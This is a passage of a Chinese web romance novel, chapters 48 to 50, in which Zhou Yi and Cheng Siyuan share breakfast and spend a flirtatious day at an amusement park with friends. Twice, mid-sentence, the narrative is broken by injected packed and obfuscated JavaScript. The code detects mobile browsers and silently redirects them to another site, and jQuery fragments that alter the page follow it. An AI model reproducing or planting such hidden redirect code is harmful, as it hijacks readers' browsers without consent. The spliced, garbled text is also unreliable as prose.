木头:你在干嘛? 十点半的时候。 木头:跟段梓坤打了电话,他刚好在李佩佩家店里帮忙,他们去。 周依眼睛跳了一下,抿抿唇,继续看下面的消息。 十点四十的时候。 木头:睡了? 木头:今天很开心,同样也很期待明天。晚安,依依。 周依看着满屏的信息深深吸了口气,努力压下心中翻起的涟漪,她在输入框里刚打出“晚安”,还没等确认,抬眼就看到手机左上方的时间—— 十二点半。 他应该……睡了吧。 她心里这么想着,抬手便快速按了删除键,清空了上面字,决定还是不去打扰了。 周依轻叹一声关了手机,后仰着靠坐在椅子上,忽然想到明天真的要和程司远一起去游乐园,她莫名感觉有一丝紧张,但更多的却是兴奋,心脏就像鼓点一样,在胸膛里一下一下的敲击着。她也是,同样期待明天。 她双眸微闭,慢慢舒展双臂伸了个懒腰,刚想要起身洗漱,忽觉身后椅子上好像有什么东西硌到了自己。 “嗯?” 周依惊奇转身,看到身后倚着的衣服,顿时醒悟过来,不禁又“哎呀”出声。 她伸手拿过,懊悔地直咂舌道:“这一觉睡得真是碍事,这下好了,衣服也没洗。” 说着还生怕被自己压皱似的,将衣服展开抖了抖。 周依拿着它轻手轻脚地踱了出去,屋内静悄悄的,漆黑一片。虽说洗衣机在阳台,但这大晚上的也难显得免动静大,万一把张舒欣和程毅吵醒…… 先不说这大晚上洗衣服奇怪不奇怪,最主要是她该怎么解释?哪有人大半夜不睡觉给她哥洗衣服的? 没办法。 周依咽了咽口水,又小心翼翼折返回来,看着怀里抱着的衣服,又是一声叹气。看来今天是洗不了了,程司远应该不急吧,要不明天见面给他道个歉? 她心里刚这么想着,那股淡淡的清香就像是长了眼睛,偷偷摸摸就从怀中窜入了鼻腔。 周依抱着衣服的手不由自主地慢慢收紧,下巴向下凑了凑,鼻尖轻轻抵上怀里抱着的衣服。 霎时间,那只属于程司远的味道,就占据了周身,萦绕不去,让她整个人都跟着松弛下来。 倚靠在门后,半晌没有动作。 情愫灌溉的河流,哪怕再小心翼翼,终究还是藏不住。她喜欢他。 夜里,微风丝丝缕缕在树枝上打着转,窗户好像没有管严,一不留神就让它给钻了空,忽而撩起纱帘,忽而又跑到书桌上。 它将书本吹得翻起了页,里露出一角白纸,上面洋洋洒洒,那是有人留下的字迹—— 吴都大学。 48.煎蛋 阳光透过窗帘散落在房间,清风拂过。周依睫毛轻轻颤抖,看样子好像还没完全清醒,她微微眯起眼睛,透过薄薄的窗帘,注视着外面。 已经是早上了。 周依轻揉着眼睛,像猫儿一样伸展着身体,发出舒服的低哼声。随后翻了个身,一下压在了大象玩偶上,转眼看到一旁放着的衣服,嘴角又是不自觉地上扬。 这一觉,睡得好香。 她看着窗外的阳光,懒洋洋地打了个哈欠,伸手去拿放在床头的手机,手指轻点,锦鲤附身的锁屏就忽得亮了起来。八点半了。 周依缓缓坐起身,解开视屏,习惯性地点开绿泡泡查看消息。 “嗯?” 周依看到最顶上的对话框不禁好奇出声,连忙点开查看。 木头:早安,醒了吗? 木头:我回家一趟,等吃完早饭再去游乐园跟他们汇合。 周依猛地睁大眼睛,回家?回什么家?回哪个家? 不会是—— 想到这,她一个激灵连忙翻身下床,蹑手蹑脚踱到自己房门口,轻握着把手将门打开一丝缝隙,偷偷够头看向门外。 周依眨巴着眼睛,左右看了看,蓦地又把耳朵漏出去,仔细听了听。 确定没有声音,这才暗暗松了口气,但同时心底又隐隐觉得有些失望。原来她想多了啊。 只是,还没等周依关门,就忽然听到些许动静,叮叮当当的,好像是从厨房穿出来的。 难不成……他真的来了? 周依轻咬着嘴唇,一颗心提到了嗓子眼,不免也紧张起来。她握在门把上的手轻轻摩挲着,想推门出去看看到底是不是他,但又害怕真的是他。 彳亍片刻,周依像是下定了什么决心,猛地收回手,快速转身走向床铺。她先是将自己的床被铺好,之后拿起床边的大象玩偶就想塞进柜子里。 可刚走了两步,却忽然顿住。 她低头看着怀里大象抿了抿嘴唇,叹息一声,又转身走了回去,重新把它在床头摆放整齐,拿起放在一边程司远的衣服,轻手轻脚走了出去。 但周依并没有走向厨房,而是走向了与厨房相反方向的阳台。她动作敏捷,一步三回头,像极了那步伐轻盈,准备去干坏事的猫咪。 猫猫很聪明,它并不打算现在就亡羊补牢。如果现在洗,那无疑是敲锣打鼓地向全世界宣告着自己的“罪行”。 这点道理,她自问她还是明白的。搬起石头砸自己的脚的事,她才可不干。只是将衣服放在洗衣机旁的脏衣篮里,就又悄咪咪地垫脚溜走了。 然而等周依走快厨房时,她又猛地停住脚步,急忙伸手理了理自己乱糟糟的头发,然后又整了整身上睡皱的睡衣,眼睛转了转,觉得差不多了,这才安心继续向厨房走去。 到了门口,她不由地放缓了呼吸,偷偷探出头,向厨房内看去。 就见一个高大的身影,正围着围裙,半挽着袖子,一手拿着锅铲,一手轻颠着锅,认真的煎着鸡蛋。 那厨—— 哦不、那人好像感受到有目光在看自己,转过脸,大方对上了那目光的主人,轻声道:“醒了?快去洗脸吧,准备吃饭了。” 低沉悦耳,有数不清的温柔。 霎时间,周依觉得自己的脸颊好像被一张温热的手贴了一下,连忙别过眼,小声道:“你怎么来了……” 真的是他。 程司远转过脸伸手拿了个盘子,将锅里的鸡蛋盛了出来,说:“我那儿没鸡蛋了,早上想吃,就来了。” “啊?” 周依双眼圆睁,简直要怀疑自己是不是听错了,这是什么理由,没鸡蛋了?没鸡蛋下楼买个不就好了,用得着……跑这么远? 难不成程司远是有什么鸡蛋怪癖?还是家里的鸡蛋跟其他地方卖的不一样? 虽然周依脑子里有无数个问号,但她自觉自己还算是“成熟”,对于这种可能涉及别人“隐私”的事情,并不打算刨根问底。她轻咳一声,故作从容道:“奥,那好吧。” 程司远应该打死也想不到,此时此刻这面容淡定的某人,已经在脑子里给他编了一大串前因后果,有的没的。 要是知道了,肯定得黑着脸说,无聊。 “快去洗脸啊,站着干什么?”他说。 周依连忙收起脑洞,点头应声道:“奥知道了,我这就去、这就去。” 说完就小跑着回房间,洗漱去了。 程司远看着她一跃一跃的背影,不由摇了摇头,嘴角也止不住地上扬,低低笑出了声。 没一会儿,周依便洗漱好出来了,还顺便给自己编了一个麻花辫,懒懒散散的垂在颈侧,看起来很是活泼甜美。她看着桌上那两碗白菜肉丝面真是馋的直咽口水,迫不及待一屁股就坐在了椅子上。 她觉得程司远至少有三好,长得好,对人好、最重要的还是做饭好。 虽说是简简单单的汤面,但不知道为什么程司远做的就格外好吃。 不管是之前,还是现在,每次周依都能吃得连汤都不剩。这倒不是她胃口大,就好像是被下了什么蛊,哪怕吃再多次,她都感觉吃不够。 “坐下筷子都不拿,这是要准备用手吃?” 程司远调侃出声,伸手将自己手中的汤匙和筷子递给周依,说:“吃慢点,小心烫。” 周依被说的有点不好意思,努了努嘴,伸手接过,不满地嘟囔道:“知道了,我又不傻。” 程司远嘴角弧度微弯像是在笑,他在周依对面坐了下来,点头道:“是是是,你不傻,你最聪明了。” 周依轻哼一声,并不打算在说话,水灵灵的眼里只有面前这一碗面。管他说什么,先吃再说。 筷子和汤匙并用,“嘶溜溜”一口吸满汤汁的面条滑入口中,白菜的清甜伴着浓郁的肉香在嘴里迸发,温度恰到好处,既不烫口,也不会觉得凉,就好像做面人早就知道吃面人习惯似的,把一切都掌握的恰到好处。 “怎么样,会咸吗?”程司远出声问着,见周依眯眼的吃相也觉得十分满足。 闻言,周依连忙抬头,刚想开口回应,又猛地意识到自己嘴里还裹着一大口面,急忙蠕动嘴唇,快速地嚼了嚼,咽了下去,有些尴尬道:“好吃的,不咸、正好。” 程司远点点头,垂眸轻轻笑了一声道:“吃慢点,没人跟你抢,要是喜欢,等我下次回来再给你做,或者——” 他顿了顿,抬头看向周依,继续道:“或者你来找我,随时做给你吃。” “咳咳、咳咳咳、” 周依突然听到程司远这话,惊得被这面里的汁水呛个了正着,急得连连咳嗽。 霎时间,她整张脸都被涨得通红。 “你看,都说了小心点,怎么还呛到了。”程司远连忙拿了纸巾递给了过去。 周依尴尬极了,伸手拿过纸巾,眼睛恶狠狠地盯着他。 这能怪谁?怎么不吃面净说些有的没的…… 想到这,她脸颊上的红晕不仅没有丝毫消退的迹象,甚至比起刚才好像还盛了几分。 程司远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426189|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手倒了杯水放在周依碗边,嘴角依旧上扬,继续道:“小孩儿还是小孩儿,整天迷迷糊糊。” 语气调侃,但却含满了伸手即触的温柔。 周依愣住,那准备拿水杯的手,也倏地停在半路。 小孩儿,所以在他眼里她还只是小孩儿吗? 蓦地,脑海里又浮现出川菜馆老板的话,不免眼神暗了暗,她僵了会,随后又故作镇定地拿起水杯,浅浅喝了一口。 但举手投足间,眼睛又扫到了自己身上的卡通居家服,心里更是郁闷,皱着眉低声开口道:“谁是小孩儿?我都快十九了。” 她只不过是脸上多了点婴儿肥,喜欢卡通和玩偶罢了,怎么就是小孩儿了…… “是啊,我知道。” 显然程司远没有猜到她的小心思。 周依瘪了瘪嘴,拿起筷子轻戳着碗里的面,嘟囔道:“你知道什么呀……” 笨死了。 “嗯?” 程司远挑眉有些疑惑,端起放着煎蛋的盘子,夹了一个到她碗里,问:“怎么了?” 周依没有拒绝,就任由着他给自己加蛋。 至于问题,她不知道该怎么回答,嘟囔着嘴,用筷子戳着鸡蛋往面汤里浸了浸,说:“没怎么,我就是单纯地想成熟一点而已。” “噗嗤”一下,程司远笑出了出来,随即又连忙忍笑道:“看来我们依依小大人对于昨天的事耿耿于怀啊,还没忘呢?” 你听听,哪壶不开提哪壶。 果然—— 周依猛地停下筷子,坐直身体,一脸怒不可遏道:“程司远!” 她虽然在意昨天的事,但她更在意的明明是…… “算了。” 周依忽然泄了气,她不想再跟程司远在这个无聊的话题上继续纠缠下去,拿着筷子重新挑起几根面,“嘶溜溜”下了肚。 看她这幅模样,程司远也收起了玩笑,正经道:“其实你没必要那么在意别人的眼光,穿什么也好,吃什么也罢,只要是你喜欢的,你都可以做。” 他顿了顿,嘴角微微上扬道:“至少在我心里你是最好的。” 声音清润,说话时语速不急不缓的,但落在周依耳朵里,却比鼓声还要让人心悸,不由跟着颤了颤,就像是被一只温热的手,轻轻挠了下。 一时间,她竟不知道该说些什么,微微颔首,不敢再抬头看程司远,喉咙里轻嗯一声,夹起碗中的煎蛋狠狠咬了一大口。 周依觉得她自己聪明极了,只要自己嘴里还吃着东西,那自己就不用说话了。这样让她狼狈不堪的话题,就也不用回应了。 程司远见周依没有说话,抿了抿唇,垂眸端起盘子把另一个煎蛋也夹给了她,说:“这个也是你的。” “哈?” 周依睁大了眼睛,惊讶地看着自己碗里又突然多出来的一个煎蛋,微微皱眉,将口中的煎蛋碎了,咽下去说:“我的?可我吃不完啊。” 程司远用下巴朝着她碗的方向点了点,说:“早上还是要多吃点蛋白质,今天给你盛的面少,能吃完。” 说着也夹起一筷子面,“嘶溜溜”入了嘴。 周依狐疑地看了他一眼,随后就像是要验证一般,用筷子在碗里捞了捞。 好像……确实少了点。 她瘪了瘪嘴,说:“那好吧。” 说着,就将煎蛋在面汤里浸了浸。 可刚想张嘴咬,周依却又突然顿住了,她抬头看着程司远,问:“你不是说你想吃煎蛋了吗,那你的蛋呢?” 49.靠近 程司远眼皮都没抬一下,张嘴就说:“吃完了。” “啊?吃完了?” 周依十分惊讶道:“什么时候?” 她怎么没见?明明两个人是一起坐下来的,难不成是在自己醒来之前吃的? 周依正这么想着,耳边就听程司远说:“刚刚。” 看看,这人又来了,现场表演脸不红心不跳的撒谎。 周依很是疑惑,张大了嘴巴看着程司远,她简直要怀疑自己跟他不在一个频道了。这都什么跟什么啊。 程司远拿着筷子夹起面,吃了一口说:“吃吧,一会儿该走了。” 周依见他没有继续解释,也不再继续追问,点了点头,轻嗯一声,也低下头闷声吃了起来。 一碗面下肚,暖意从胃里蔓延到四肢百骸,幸福的感觉溢满了周依整个胸腔,让她整个人都舒展开来。份量不多不少,刚好够她吃。 见周依吃完,程司远便出声道:“碗给我吧,我去洗。” 他看了眼手机,继续道:“段梓坤发信息说他们准备出门了,我们也收拾收拾出发吧。” “奥,好啊。” 周依将碗递给程司远,抬腿就要回房间换衣服。但刚转身走了两步,她突然顿住,像想起来什么,又转过身道:“那个……你的衣服我昨天太困了,忘记洗了,你……不急吧?” 说着还有些心虚似的,抬眼偷瞄着程司远。 “没事,我不急。”程司远说:“不洗也没关系。” 周依抿了抿嘴唇,手指摩挲着衣角,试探道:“那你今天要吗,我拿给你?” 程司远看了看窗外,说:“今天天气挺好的,应该用不到,改天吧。” 他拿着碗转身去了厨房,又对身后说:“快去换衣服吧,别一会儿来不及了。” “奥好,我知道了。”周依应声回复,说完便转身回房间,换衣服去了。 她听到程司远这么说,莫名觉得有点开心。 或许是因为马上要去游乐园了,又或许是因为其他什么原因。她不知道。 夏日的阳光总是灿烂明媚,天空湛蓝深远,蝉鸣漾入云间。 不一会儿,程司远就开车带周依来到了游乐园,赶巧的是段梓坤和李佩佩两人也到了,四人刚好在游乐园门口碰了面。 “依依,这里。” 李佩佩先段梓坤一步下了车,朝着周依的方向挥手呼唤道。 一旁的段梓坤也连忙下了车,对着李佩佩就怒声道:“你疯了?我车都还没停稳呢,受伤怎么办?” 李佩佩可不是吃素的,立马不答应了,转过头厉声道:“你凶什么!我又不傻,我肯定是看你停好了才下来的啊!” “我手刹都还没拉,怎么就停好了?你驾照怎么考的?”段梓坤也是不客气,指着车反驳。 李佩佩被气到了,双手叉腰,阴阳怪气道:“你管我怎么考的,反正我就是考出来了。诶,你说气不气人?” 这时,周依也从车上下来,远远的就看见那两人你一句我一句的争吵着,疑惑转头看向程司远,问:“他们怎么了,怎么刚来就吵起来了?” “不知道。” 程司远耸耸肩道:“他们不一直都这样嘛,走到哪吵到哪。” 周依笑出声道:“好像还真是,虽然整天吵来吵去的,但感情反而还越吵越好了。” 她看着还在吵个不停的两人,嘴角更是上扬的厉害,八卦地说道:“我去看看怎么回事。” 说着便朝着李佩佩的方向跑了过去。 程司远站着原地看着周依奔跑的背影,眼睛里有说不完的温柔,炽热而又坦诚,像湖水清澈见底,像皎月洁白明亮。 他嘴角笑了笑,像是在自嘲,低声说了句:“是啊,真羡慕呢。” 随后轻叹了声,也快步追上。 “怎么了,这次又吵什么呢?”周依一路小跑到李佩佩身边,好奇的看着两人。 李佩佩见她来了,像是得了帮手似的,气势更盛,扬起下巴就对着段梓坤道:“我没有错,跟我道歉!” “我给你——” 段梓坤被气的鼻子都歪了,见周依来了也知道程司远离自己不远,抬起头就四处张望,也想迅速为自己找个帮手似的。 忽然,他眼睛一亮,立马快步上前道:“司远你快来给我评评理,我真是要被这个女人气死了,我车都没停稳,她就着急忙慌地下车,说她两句我还有错了?” 还没等程司远说话,李佩佩就一个箭步上前道:“谁让你说我的,说我你就有错!” “你!你、你……” 段梓坤话都说不全了,你了半天,也你出个所以然来。 但至少周依听出个前因后果了,知道是李佩佩有错在先,又看段梓坤气成这副模样也有点于心不忍。 于是,她把李佩佩拉到一边,小声道:“佩佩你放过他吧,这事……确实是你不对,人家车都没停稳呢,你就下来了,这多危险啊。” 李佩佩瘪了瘪嘴,她一向都是只对人不对事,别人开车她断然不会这样,不满道:“不危险啊,他开车技术还挺好的,我这是信得过他,是他的荣幸!” 声音不大,但在场的另外三人却是听的一清二楚。 “呃——” 周依愕然,她知道李佩佩性子直,有什么就说什么。可……这个回答倒她是真没想道。 一时间竟是语塞在原地,感觉像是被狗粮噎到了。 程司远低笑两声,笑眯着眼看向一旁的段梓坤,一副看戏的模样。 “咳咳。” 段梓坤显得有些尴尬,清咳两声,突然不好意思起来,摸摸鼻子转移话题道:“那什么,既然都到了那咱们就先进去吧,外面也没什么玩的。” 说着就往入口走,最后还尴尬的讪笑几声。 但李佩佩却是来了劲,一个快步追上去,垫着脚捏着段梓坤耳朵,喊道:“你走什么走,道歉!你给我道歉!” “啊啊啊,别捏我耳朵,疼啊。”段梓坤弯腰痛苦的嚎叫着。 李佩佩并没有松手的意思,反而又加重几分,威胁道:“道、歉!” 段梓坤吃痛的又是惨叫几声,哀求道:“啊啊,对不起、对不起,李大奶奶我错了,您人美心善、美丽大方,大人不记小人过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437631|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放过我吧。” “哼,这还差不多。” 听到道歉,李佩佩也如约地松了手。 她倒不难缠,在她心里对就是对,错就是错,能拿得,也起放得下。 段梓坤站直了腰,用手搓揉着被捏通红的耳朵,一脸受欺负的模样,瘪着嘴嘟囔道:“你这有家暴倾向啊,看以后谁敢娶你。” 李佩佩双手抱胸,满不在意道:“当然是想娶我的人啊。” 她撇了一眼段梓坤,咧咧嘴嫌弃道:“再说了,这怎么就有家暴倾向了,明明就是你有错在先,跟我有什么关系。” 段梓坤真是要被李佩佩给说怕了,连忙双手合十,祈求道:“好好好,对不起对不起,我都错,都是我的错。” 李佩佩冷“切”一声径自进了大门,不再理会后面穷追不舍的段梓坤。 周依跟在在后面走着,看着这两人一路打闹,嘴角也是忍不上扬,心底蓦地生出点不一样的感觉。好像有点羡慕? 她抿了抿唇,偷偷抬眼看了向跟自己并排走的程司远。 本身没什么要紧的,但巧不巧程司远这时也垂眸看向了周依。 霎时间,目光在空气中交错,仿佛有无数细碎的火花,在他们心中悄然炸开。 周依一下慌了神,她没想到会直接迎上程司远,连忙瞥眼低下头,秉持着“只要自己躲得够快他就看不到”的原则,假装什么事都没有发生。 可—— “怎么了?” 头顶传来的是程司远那清润而又带着笑意的声音。 完了。 瞬间,周依窘迫的恨不得钻到地缝里,拳头微微握紧,脸上堆起尴尬的笑容,讪笑道:“哈哈哈,没什么啊,就是看太阳挺大的,都照到我的眼了。” “哦,是吗?” 程司远说着便抬起手遮挡着光线,看向太阳,随后又低头看向她,说:“是挺大的,我帮你遮一下。” 话音刚落,周依还来不及反应,头顶就出现了一只手掌。不大不小,刚好遮住了阳光。 周依一惊,抬头开口婉拒道:“谢谢啊,不——” 不用了。 她还没说出口,突然呼吸一滞,一下子顿住了。 程司远脸庞白皙光洁,挺鼻薄唇,下颏的线条削瘦,混合着少年气和棱角感,半张侧脸被阳光笼罩,明艳之下他的笑仿佛嵌上了一层金色的光边。 救命,这比太阳还耀眼。 扑通、扑通。 周依眼神慌乱,不知道改看向何处,就连心脏也在宣示着主人的躁动,面上却故作镇定道:“不、不用了,谢谢啊,这样太累了。” “没关系。”程司远说。 忽然,原本在半空遮着太阳的手,停在周依头上轻轻揉了揉,然后重新抬起,遮挡阳光。 周依头顶再次传来那人清润的声音:“给你遮,不累。” 语气十分平静,像是在说一件再寻常不过的事,但在周依心里却掀起了惊涛骇浪。 太阳越来越大,温度也慢慢升高了,树上的知了不停歇地叫着,一声又一声。少女藏不住的情潮,也是一浪接着一浪。 50.小心 太阳斜照,穿过层层树叶的缝隙洒下来,几缕微风轻轻拂过,惊扰了片刻的安宁,湖面泛起裢漪,叶子也发出窸窸窣窣的声响。 两人的影子被藏在身后,树梢摇摆,轮廓尽现。一左一右,并排相依。 “依依,你们走快点呀,前面有好多玩的。”李佩佩在前方挥手呼唤着,手里还握着一张不知道什么时候拿的纸,看起来像是地图 神游在外的周依一下回了神,应道:“奥好,知道啦。” 她转头看向程司远,小脸依旧微微泛着红,轻声道:“那我们走快点,他们该等急了。” 程司远嘴角带着微笑,朗声道:“嗯,好。” 弧度弯弯,秀色可餐。 周依心里一紧,暗道不好,也顾不得其他,倏地转头向前,大步快走。 程司远一愣,急忙收手。 虽然他速度很快,但终究还是晚了一步。手指轻擦着周依的脸颊,轻轻划过,所到之处尽是细腻柔软,让他心头猛地一颤。 “啊!” 周依像是被电到了,惊呼一声,猛刹住脚。 程司远连忙查看道:“没事吧,弄疼了?” 一时间,周依显得有些尴尬,羞红着脸扭向一边,抿了抿唇,没有说话。 她怎么就忘了程司远的手还在自己前面,真是……丢人。 温润的触感还停留在指背上,酥酥麻麻的感觉从指尖传到了心房,程司远的手微微蜷了蜷,弯下身子,轻声道:“我看看。” 说着,便伸手将周依扭转过身,见她轻咬着嘴唇,小脸也红扑扑的,呼吸一滞,心跳也跟着空了一拍。 他喉咙上下滚动,忍不住想再次感受刚才的温度。可手抬至半空,又蓦地顿住,转而抚上周依的头发,轻轻揉了揉,笑道:“还好没事,下次别走这么快了。” 周依被这举动吓了一跳,微微向后缩了缩脑袋,耳根也跟着发烫,支吾道:“我、我先走了,佩佩她喊我。” 说完不等程司远反应,便逃也似的跑开了。 “诶——” 程司远想出声叫住,但对方却早已跑远了,脑海里浮现出周依刚刚的害羞模样,霎时间,心口好像被羽毛轻轻地扫了一下,挠得有些发痒。 程司远垂眸看向自己的手背,嘴角微扬,含着似有若无的笑,那克制隐忍着的爱意也在不经意间,奔腾流出。 他深吸一口气,努力压下心中翻滚着的情愫,抬头看着远处的某人,又觉无奈,叹息一声,抬腿慢步跟上。 “依依刚刚你们在干嘛呢,我看程司远一直举着手,他怎么了?”李佩佩看周依向自己跑来,便好奇的问道。 “呃……”周依顿时语塞。 刚刚的尴尬还没缓过劲来,这又来个送命题,一时间她竟不知道该怎么解释,“呃”了半天突然灵机一动道:“他……他那什么,胳膊抽筋了,对、抽筋了,哈哈哈。” 说到最后还笑着挥了挥手,一副打趣模样。 李佩佩疑惑地皱了皱眉,犹豫道:“那他没事吧……” “没事没事,他能有什么事,已经好了。” 周依觉得有些难堪,眼睛滴溜溜地转着,想赶紧转移话题。突然眸色一顿,看着李佩佩手里拿着的东西,好奇道:“诶?你拿的是什么?” “奥,这个啊。” 李佩佩拿起手上的画纸,继续道:“是我刚刚在门口拿的游乐园的地图。你看,还是卡通版的。” 说着就伸手将地图递给了周依。 “哇,真的诶。”周依接过地图,左右翻动着:“画的真好,看起来很好玩的样子。” 李佩佩连连点头,伸手指着地图上各种游乐设施的位置,高兴道:“对啊,你看这个,还有这个,都离我们特别近,咱们赶紧去吧,别一会儿排队了。” 见她没有继续刚刚的话题,周依也暗暗松了口气,连连点头道:“嗯,好啊。” 随后左右看了看,又疑惑道:“梓坤哥呢,他刚刚不是跟你一起吗?” 李佩佩瘪了瘪嘴,说:“他啊,给我买水去了。” “噗嗤”周依不禁笑出了声,偷偷斜过眼,看了看正向自己走来的程司远,对李佩佩道:“那我们还等他们吗?” “嘻嘻。” 李佩佩坏笑一声,挎上周依的胳膊,拉着她走跑,说:“不等,我们先走。” 一旁,刚从饮品站里出来,手里还提着一袋饮料的段梓坤,看到两人奔跑的身影很是疑惑,奇道:“啊?怎么突然跑了?” 他转头看到程司远走了过来,便迎步上前,疑问道:“她们要去哪,怎么跑了?” 程司远耸了耸肩,他哪知道,他也刚来。 段梓坤无语,他感觉他上辈子肯定欠了不少李佩佩的,不然这辈子怎么就能被她耍的团团转,一会儿吵着要自己道歉,一会儿又说渴了想喝水,这会儿更是跑得人都不见了。 他无奈地看了看自己手里的水,叹了声气道:“那跟过去看看吧。” 就这样,两个女生跑在前面疯跑,而另外两个男生则是含笑着跟在后面,画风有些奇异,但却又说不出的和谐。 几人到了移动射击的排队处,段梓坤从袋子中拿出一瓶莓果汁递给李佩佩道:“诶,拿去,你不是渴了吗?” 李佩佩转过身,点头道:“奥好,谢啦。” 她伸手拿过来拧开喝了一口,随机挑眉毛道:“这个还不错。” 段梓坤冷“切”一声,咧咧嘴道:“知道你喜欢草莓。” 说完,他又拿出另一瓶莓果汁递给周依道:“依依给,这是你的。” 周依微微一怔,随即又浅笑道:“好,谢谢梓坤哥,那我尝尝。” 说着就要接过,但没想到她手还没碰到瓶身,就被程司远先一步截住。 “这个我喝。” 程司远拿过莓果汁,扫了眼段梓坤手里的袋子,继续道:“给她椰奶吧,她喜欢。” 段梓坤愣了下,抬眼看向程司远,又转向周依疑问道:“椰奶?” 周依滞在半空的手蜷了下,偷偷抬眼看了眼程司远。 见他正嘴角含笑的看向自己,心底蓦地又是一阵惊慌失措,下意识从袋子里拿了瓶椰奶,就扭转过身。这手都拧开了,才后知后觉“嗯”了声。 段梓坤神经大条起来也是糙得吓人,完全没注意到这两人的星星点点,看饮料发完了也只道:“那行,最后柳橙汁是我的。” 周依僵着身体继续排队,但眼睛却好像不听使唤,不知不自觉又慢慢地瞥向了一旁的程司远。 只一眼,她就像触电般,立马收回,酥麻感从脚底涌上心头,一动不敢动。 他怎么…… 还在看自己。 “诶诶,依依,到我们了,快走快走。”李佩佩从后面推着周依的胳膊就往前走。 周依瞬即收拢了思绪,边走边道:“知道了,知道了。“ 于是,四人便前前后后都的坐上了飞艇。一场移动射击完下来,众人的身心也都沉浸在了这欢乐的氛围当中。 在李佩佩的叫嚷下,周依又被拉去玩了升降气球,随后又跑去玩了砸地鼠,紧接着又玩了旋转飞椅。 几场游戏下来,周依感觉自己的精神力都快被消耗的差不多了,但李佩佩却是相反,看着却是比刚来的时候更兴奋了。 周依扶着栏杆,试图舒缓刚刚的天旋地转。 “你还好吗?”程司远走到她身边关心道。 周依直起腰,摆手道:“我还好,没事。” 程司远皱了皱眉,刚想开口说什么,却被李佩佩一声打断道:“依依走,前面那个旋转咖啡杯没什么人排队,咱们快走。” “诶诶,你慢点、跑慢点。”周依被她拉的差点一个踉跄。 但跑的同时还不忘伸手指着一个白色的咖啡杯椅,笑道:“我们就坐那个吧!” 李佩佩连连点头道:“好啊好啊。” 一路欢声笑语,有人在闹,有人在笑。 咖啡杯欢快的音乐不绝于耳,工作人员在站在高台上前方,摇举着小旗子,指挥道:“旋转咖啡杯在这边排队哦,注意一个杯子最多坐三个人呦。” “三个人?” 李佩佩疑完顿了顿,随后又点头道:“嗯,那咱们两个正好,人也不多,估计下一个就是我们。” 周依愕然,转头向后看了看,发现程司远和段梓坤就在不远处,马上就到,“呃”了声犹豫道:“不等他们了吗?” 李佩佩挥手道:“不等不等,等他们干嘛。” “那个不是最多坐三个嘛,他们来了我们也坐不到一起去。”她回头看了一眼正走来的两人,转过头洋洋得意道:“让他俩一起吧,我们坐我们的。” 周依想了想,点点头应声道:“也是。” 音乐停止,工作人员左右挥动着旗子,大声喊道:“先出后进,注意安全哦。” 李佩佩见排到自己很是兴奋,晃动着拉着周依的手臂,高兴道:“快走快走,那个白色的杯子正好没人。” 说着不等周依反应,就拉着她冲了进去。 准备音乐开始播放,工作人员也跟着旋律摇摆起来,嘴里呼喊道:“大家尽快选好自己的杯子哦,我们要准备喝茶啦!” 这时,落在身后的两人也走了过来。看到李佩佩和周依已经先一步坐了上去,段梓坤转头看向程司远,急切道:“走,咱们也快去,她们把位置都占好了。” 看眼这人就要一个箭步冲上去,程司远赶紧伸手拉着,用下巴点点咖啡杯,淡声道:“那一个最多坐三个人。” “啊?你怎么知道?”段梓坤疑惑道:“你坐过?” 程司远觉得有些无语,说:“你看啊,那几个坐了人的杯子,不是两个人就是三个人。” 随后又看向一边,继续道:“呐,那还有一个人的。” “是哦,我们的咖啡杯最多坐三个人呦,还有一个空杯,两位可以一起哦。”工作人员挥舞着双手招呼道。 “我去,司远真有你的。” 段梓坤震惊完毕后,用大拇指向那最后一个空杯,继续道:“那走吧。” “跟你?” 程司远愕然,皱了皱眉有些嫌弃道:“别了吧。” “怎么,跟我坐一起你不好意思啊。”段梓坤推搡着程司远道:“走吧走吧,重在参与嘛。” 程司远无奈,硬是被段梓坤一路推搡着坐上了咖啡杯。 只是,他刚坐下就忽觉心里一跳,随后抬头就迎上了周依的眼睛,不免愣住,但很快又恢复平常,上扬着嘴角,笑眯着眼睛对她笑着歪了歪头。 周依咯噔一下,急忙转头躲闪,不经意间耳朵就染上了些许粉红,心头更是涌上几分羞涩。她轻咬着嘴唇,纳闷不已,怎么回事,这人是有什么特异功能吗,怎么每次都被逮个正着? “噗嗤”程司远不禁笑了出来,摇摇头,低声道:“真是可爱。” “啊,什么?”段梓坤转头问道。 程司远轻咳一声,收敛了笑容道:“没什么。” “???” 段梓坤伸手挠了挠头,面脸问号。他是真没听清程司远说了什么,好像是……什么可爱? 但还没等段梓坤再问,站在一旁的工作人员就按响了广播,朗声道:“大家都坐好嘛,我们要开始转动喽。” 话音刚落,咖啡杯便跟着欢快音乐转动了起来,广播里的工作人员的声音也是愈加兴奋:“大家可以转动杯中的方向盘哦,让我们一起转起来吧!” 李佩佩很是开心,抓着方向盘,迫不及待道:“依依快来,这坐着太不刺激了,我们刺激起来。” 周依睁大眼睛震惊看着她,反问道:“你要多刺激?” 李佩佩“嘿嘿”一笑道:“那你抓紧了,马上就知道。” 听到这话,周依没有多加思索,立马就握紧了座位上的扶手。她可是知道李佩佩的,一个诠释了什么叫“一个说一不二”的女人。 李佩佩手下用力,猛地转动咖啡杯中间的方向盘。霎时间,身下坐着的咖啡杯高速的旋转起来,引得周依连连惊叫。 